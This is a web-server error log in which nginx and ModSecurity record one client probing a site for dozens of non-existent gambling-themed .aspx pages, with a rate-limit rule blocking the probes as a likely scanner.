2026/03/11 03:10:39 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /sbobet%20ca.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20ca.aspx", host: "gigfragments.org"
2026/03/11 03:10:40 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20777.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:40.931197 2026] [:error] [pid 6893:tid 7156] [client 54.37.252.59:52968] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abBssDQs7J0yTt-T28kn1AAAAEc"]
2026/03/11 03:10:42 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20888.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20888.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:42.695378 2026] [:error] [pid 7307:tid 7324] [client 54.37.252.59:52982] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abBssutE6Vj1tEJkynENzgAAAM8"]
2026/03/11 03:10:44 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%2099.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%2099.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:44.455707 2026] [:error] [pid 6892:tid 7085] [client 54.37.252.59:52996] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abBstBRWb70O8HM28tG40gAAAAY"]
[Wed Mar 11 03:10:46.246712 2026] [:error] [pid 6894:tid 7205] [client 54.37.252.59:53012] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abBstp4b1T0HQdoE97ILvwAAAJU"]
2026/03/11 03:10:46 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20auto.aspx", host: "gigfragments.org"
2026/03/11 03:10:47 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20demo.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20demo.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:47.825519 2026] [:error] [pid 6892:tid 7102] [client 54.37.252.59:53026] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abBstxRWb70O8HM28tG40wAAABU"]
[Wed Mar 11 03:10:49.453173 2026] [:error] [pid 6894:tid 7184] [client 54.37.252.59:53046] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abBsuZ4b1T0HQdoE97ILxAAAAII"]
2026/03/11 03:10:49 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20free.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20free.aspx", host: "gigfragments.org"
2026/03/11 03:10:51 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20game%20666.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20game%20666.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:51.184673 2026] [:error] [pid 7307:tid 7312] [client 54.37.252.59:53060] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abBsu-tE6Vj1tEJkynEN2QAAAMM"]
2026/03/11 03:10:52 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20joker.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:52.822394 2026] [:error] [pid 7307:tid 7327] [client 54.37.252.59:53070] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abBsvOtE6Vj1tEJkynEN2wAAANI"]
2026/03/11 03:10:54 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20online.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20online.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:54.395441 2026] [:error] [pid 6892:tid 7105] [client 54.37.252.59:53086] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abBsvhRWb70O8HM28tG42gAAABg"]
2026/03/11 03:10:56 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20pg%20soft.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20soft.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:56.004448 2026] [:error] [pid 6893:tid 7153] [client 54.37.252.59:53104] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abBswDQs7J0yTt-T28kn2wAAAEQ"]
2026/03/11 03:10:57 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20pg%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20vip.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:57.744026 2026] [:error] [pid 7307:tid 7323] [client 54.37.252.59:53126] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abBswetE6Vj1tEJkynEN3wAAAM4"]
2026/03/11 03:10:59 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20pg%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20pg%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:10:59.473371 2026] [:error] [pid 7307:tid 7309] [client 54.37.252.59:53140] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abBsw-tE6Vj1tEJkynEN4wAAAMA"]
[Wed Mar 11 03:11:01.189771 2026] [:error] [pid 6894:tid 7201] [client 54.37.252.59:53158] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abBsxZ4b1T0HQdoE97IL0QAAAJI"]
2026/03/11 03:11:01 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20super%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20super%20wallet.aspx", host: "gigfragments.org"
2026/03/11 03:11:02 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /slot%20true%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20true%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:02.785701 2026] [:error] [pid 6894:tid 7199] [client 54.37.252.59:53172] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abBsxp4b1T0HQdoE97IL0wAAAJA"]
2026/03/11 03:11:37 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:37.525148 2026] [:error] [pid 7307:tid 7324] [client 54.37.252.59:53598] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abBs6etE6Vj1tEJkynEOSAAAAM8"]
[Wed Mar 11 03:11:39.247901 2026] [:error] [pid 6892:tid 7084] [client 54.37.252.59:53618] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abBs6xRWb70O8HM28tG49gAAAAU"]
2026/03/11 03:11:39 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /superslot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet.aspx", host: "gigfragments.org"
2026/03/11 03:11:40 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /superslot168%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot168%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:40.944809 2026] [:error] [pid 6893:tid 7154] [client 54.37.252.59:53632] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abBs7DQs7J0yTt-T28kn9wAAAEU"]
2026/03/11 03:11:42 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20168.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:42.664329 2026] [:error] [pid 6893:tid 7160] [client 54.37.252.59:53654] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "abBs7jQs7J0yTt-T28kn-wAAAEs"]
[Wed Mar 11 03:11:44.383986 2026] [:error] [pid 6894:tid 7203] [client 54.37.252.59:53672] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "abBs8J4b1T0HQdoE97IMAQAAAJQ"]
2026/03/11 03:11:44 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20c4.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20c4.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:45.951059 2026] [:error] [pid 6893:tid 7148] [client 54.37.252.59:53684] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "abBs8TQs7J0yTt-T28kn_AAAAEA"]
2026/03/11 03:11:45 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20sa.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20sa.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:47.684762 2026] [:error] [pid 6892:tid 7093] [client 54.37.252.59:53698] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "abBs8xRWb70O8HM28tG4-AAAAA0"]
2026/03/11 03:11:47 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:49.433405 2026] [:error] [pid 6894:tid 7194] [client 54.37.252.59:53728] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "abBs9Z4b1T0HQdoE97IMCgAAAIs"]
2026/03/11 03:11:49 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20vip.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:50.994904 2026] [:error] [pid 6892:tid 7100] [client 54.37.252.59:53748] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abBs9hRWb70O8HM28tG4-wAAABM"]
2026/03/11 03:11:50 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20wallet%20777.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:52.594761 2026] [:error] [pid 6893:tid 7173] [client 54.37.252.59:53766] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "abBs-DQs7J0yTt-T28koAAAAAFc"]
2026/03/11 03:11:52 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufa%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:54.218407 2026] [:error] [pid 6892:tid 7098] [client 54.37.252.59:53780] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abBs-hRWb70O8HM28tG4_gAAABE"]
2026/03/11 03:11:54 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20100.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20100.aspx", host: "gigfragments.org"
2026/03/11 03:11:55 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%201668.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%201668.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:55.852151 2026] [:error] [pid 7307:tid 7325] [client 54.37.252.59:53798] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abBs--tE6Vj1tEJkynEOYwAAANA"]
2026/03/11 03:11:57 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%207777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%207777.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:57.564687 2026] [:error] [pid 6894:tid 7197] [client 54.37.252.59:53818] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abBs_Z4b1T0HQdoE97IMEwAAAI4"]
2026/03/11 03:11:59 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:11:59.300806 2026] [:error] [pid 7307:tid 7319] [client 54.37.252.59:53838] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abBs_-tE6Vj1tEJkynEOaQAAAMo"]
2026/03/11 03:12:01 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:01.095530 2026] [:error] [pid 6893:tid 7168] [client 54.37.252.59:53860] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abBtATQs7J0yTt-T28koBgAAAFM"]
2026/03/11 03:12:02 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20net.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:02.669177 2026] [:error] [pid 7307:tid 7324] [client 54.37.252.59:53888] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abBtAutE6Vj1tEJkynEOdgAAAM8"]
[Wed Mar 11 03:12:04.279115 2026] [:error] [pid 7307:tid 7313] [client 54.37.252.59:53900] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abBtBOtE6Vj1tEJkynEOewAAAMQ"]
2026/03/11 03:12:04 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet%20777.aspx", host: "gigfragments.org"
2026/03/11 03:12:06 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /ufabet%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:06.000868 2026] [:error] [pid 6892:tid 7078] [client 54.37.252.59:53920] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "abBtBRRWb70O8HM28tG5BAAAAAA"]
2026/03/11 03:12:07 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:07.753014 2026] [:error] [pid 6893:tid 7159] [client 54.37.252.59:53938] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "abBtBzQs7J0yTt-T28koCQAAAEo"]
2026/03/11 03:12:09 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:09.536634 2026] [:error] [pid 6892:tid 7095] [client 54.37.252.59:53950] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "abBtCRRWb70O8HM28tG5BgAAAA4"]
2026/03/11 03:12:11 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "gigfragments.org"
[Wed Mar 11 03:12:11.286721 2026] [:error] [pid 6893:tid 7163] [client 54.37.252.59:53964] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "abBtCzQs7J0yTt-T28koDgAAAE4"]
[Wed Mar 11 03:12:13.032789 2026] [:error] [pid 7307:tid 7324] [client 54.37.252.59:53978] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abBtDetE6Vj1tEJkynEOjAAAAM8"]
2026/03/11 03:12:13 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "gigfragments.org"
2026/03/11 03:12:14 [error] 6428#6428: *398213 upstream prematurely closed connection while reading response header from upstream, client: 54.37.252.59, server: gigfragments.org, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "gigfragments.org"
